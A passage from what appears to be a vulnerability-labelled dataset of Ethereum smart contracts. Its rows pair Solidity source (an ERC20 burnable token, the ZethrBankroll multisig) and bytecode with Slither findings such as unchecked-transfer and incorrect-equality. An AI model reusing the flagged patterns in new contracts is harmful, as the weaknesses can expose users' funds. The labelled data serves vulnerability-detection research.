c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040516323b872dd60e01b815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b1580156115ab57600080fd5b505af11580156115bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e39190611d11565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c906107d990738798249c2e607446efb7ad49ec89dd1865ff427290849030908890600090600401611eb2565b3360009081526002602052604081208054839290611656908490611f7c565b909155505060008054829003815533815260046020526040812054611687916001600160a01b0390911690836116b0565b6040518181526000903390600080516020611fec8339815191529060200160405180910390a350565b816001600160a01b0316836001600160a01b0316141580156116d25750600081115b156117d7576001600160a01b03831615611759576001600160a01b03831660009081526006602052604081205463ffffffff169081611712576000611744565b6001600160a01b038516600090815260056020908152604080832063ffffffff60001987011684529091529020600101545b9050828103611755868484846118f9565b5050505b6001600160a01b038216156117d7576001600160a01b03821660009081526006602052604081205463ffffffff1690816117945760006117c6565b6001600160a01b038416600090815260056020908152604080832063ffffffff60001987011684529091529020600101545b90508281016111f9858484846118f9565b505050565b6001600160a01b03821660009081526002602052604081208054839290611804908490611f45565b925050819055508060008082825461181c9190611f45565b90915550506001600160a01b038083166000908152600460205260408120546118469216836116b0565b6040518181526001600160a01b03831690600090600080516020611fec8339815191529060200160405180910390a35050565b6001600160a01b03808316600081815260046020818152604080842080546002845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46118f38284836116b0565b50505050565b600061190443611a46565b905060008463ffffffff1611801561194d57506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561198a576001600160a01b038516600090815260056020908152604080832063ffffffff600019890116845290915290206001018290556119fb565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600584528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260069092529390208054928801909116919092161790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b60006401000000008210611ac25760405162461bcd60e51b815260206004820152603760248201527f4d656f777368693a3a5f7772697465436865636b706f696e743a20626c6f636b60448201527f206e756d626572206578636565647320333220626974730000000000000000006064820152608401610ae0565b5090565b80356001600160a01b0381168114611add57600080fd5b919050565b803560ff81168114611add57600080fd5b600060208284031215611b04578081fd5b610f0d82611ac6565b60008060408385031215611b1f578081fd5b611b2883611ac6565b9150611b3660208401611ac6565b90509250929050565b600080600060608486031215611b53578081fd5b611b5c84611ac6565b9250611b6a60208501611ac6565b9150604084013590509250925092565b600080600080600080600060e0888a031215611b94578283fd5b611b9d88611ac6565b9650611bab60208901611ac6565b95506040880135945060608801359350611bc760808901611ae2565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215611bf5578182fd5b611bfe83611ac6565b946020939093013593505050565b60008060008060008060c08789031215611c24578182fd5b611c2d87611ac6565b95506020870135945060408701359350611c4960608801611ae2565b92506080870135915060a087013590509295509295509295565b60008060408385031215611c75578182fd5b611c7e83611ac6565b9150602083013563ffffffff81168114611c96578182fd5b809150509250929050565b60008060208385031215611cb3578182fd5b823567ffffffffffffffff80821115611cca578384fd5b818501915085601f830112611cdd578384fd5b813581811115611ceb578485fd5b8660208260051b8501011115611cff578485fd5b60209290920196919550909350505050565b600060208284031215611d22578081fd5b81518015158114610f0d578182fd5b600060208284031215611d42578081fd5b815167ffffffffffffffff80821115611d59578283fd5b818401915084601f830112611d6c578283fd5b815181811115611d7e57611d7e611fd5565b604051601f8201601f19908116603f01168101908382118183101715611da657611da6611fd5565b81604052828152876020848701011115611dbe578586fd5b611dcf836020830160208801611f93565b979650505050505050565b600060208284031215611deb578081fd5b5051919050565b60008060408385031215611e04578182fd5b505080516020909101519092909150565b60008151808452611e2d816020860160208601611f93565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b82811015611ea557603f19888603018452611e93858351611e15565b94509285019290850190600101611e77565b5092979650505050505050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b602081526000610f0d6020830184611e15565b6000808335601e19843603018112611f0f578283fd5b83018035915067ffffffffffffffff821115611f29578283fd5b602001915036819003821315611f3e57600080fd5b9250929050565b60008219821115611f5857611f58611fbf565b500190565b6000816000190483118215151615611f7757611f77611fbf565b500290565b600082821015611f8e57611f8e611fbf565b500390565b60005b83811015611fae578181015183820152602001611f96565b838111156118f35750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220794e82bdb80b599c08d001478b63a9a72de08685cbfb98f445a388c5fe21bfc764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,965 |
0x0e3785b2ecb235ad8f225331259eacc89f864877 | pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract MinexoDigital is BurnableToken, Ownable {
string public constant name = "Minexo Digital";
string public constant symbol = "MXO";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 55500000 * (10 ** uint256(decimals));
// Constructors
function MinexoDigital () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
} | 0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f2565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbb565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4c565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610ebb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef4565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110ca565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c6565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134d565b005b6040805190810160405280600e81526020017f4d696e65786f204469676974616c00000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee83826114a590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a63034edce00281565b60008082111515610a0257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5057600080fd5b339050610aa582600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afd826000546114a590919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccc576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d60565b610cdf83826114a590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4d584f000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3157600080fd5b610f8382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b357fe5b818303905092915050565b60008082840190508381101515156114d257fe5b80915050929150505600a165627a7a723058201ad61bca38769c51ccf79676f6eef0f84de6c2d6b4645e15bcdfe1d99c5c93cc0029 | {"success": true, "error": null, "results": {}} | 9,966 |
0xbece02eea2e769674404791d5b8984898df45459 | pragma solidity 0.4.23;
contract ZethrBankroll {
using SafeMath for uint;
uint constant public MAX_OWNER_COUNT = 10;
uint constant public MAX_WITHDRAW_PCT_DAILY = 15;
uint constant public MAX_WITHDRAW_PCT_TX = 5;
uint constant internal resetTimer = 1 days;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event DevWithdraw(uint amountTotal, uint amountPerPerson);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
mapping (address => bool) public isWhitelisted;
address[] public owners;
address[] public whiteListedContracts;
uint public required;
uint public transactionCount;
uint internal dailyResetTime;
uint internal dailyLimit;
uint internal ethDispensedToday;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier onlyWhiteListedContract() {
if (!isWhitelisted[msg.sender])
revert();
_;
}
modifier contractIsNotWhiteListed(address contractAddress) {
if (isWhitelisted[contractAddress])
revert();
_;
}
modifier contractIsWhiteListed(address contractAddress) {
if (!isWhitelisted[contractAddress])
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (!isOwner[caller])
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
/// @dev Fallback function allows to deposit ether.
function()
public
payable
{
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
dailyResetTime = now;
}
/// @dev Calculates if an amount of Ether exceeds the aggregate daily limit of 15% of contract
/// balance or 5% of the contract balance on its own.
function permissibleWithdrawal(uint _toWithdraw)
public
onlyWallet
returns(bool)
{
uint currentTime = now;
uint contractBalance = address(this).balance;
uint maxPerTx = (contractBalance.mul(MAX_WITHDRAW_PCT_TX)).div(100);
require (_toWithdraw <= maxPerTx);
if (currentTime - dailyResetTime >= resetTimer)
{
dailyResetTime = currentTime;
dailyLimit = (contractBalance.mul(MAX_WITHDRAW_PCT_DAILY)).div(100);
ethDispensedToday = _toWithdraw;
return true;
}
else
{
if (ethDispensedToday.add(_toWithdraw) <= dailyLimit)
{
ethDispensedToday += _toWithdraw;
return true;
}
else { return false; }
}
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
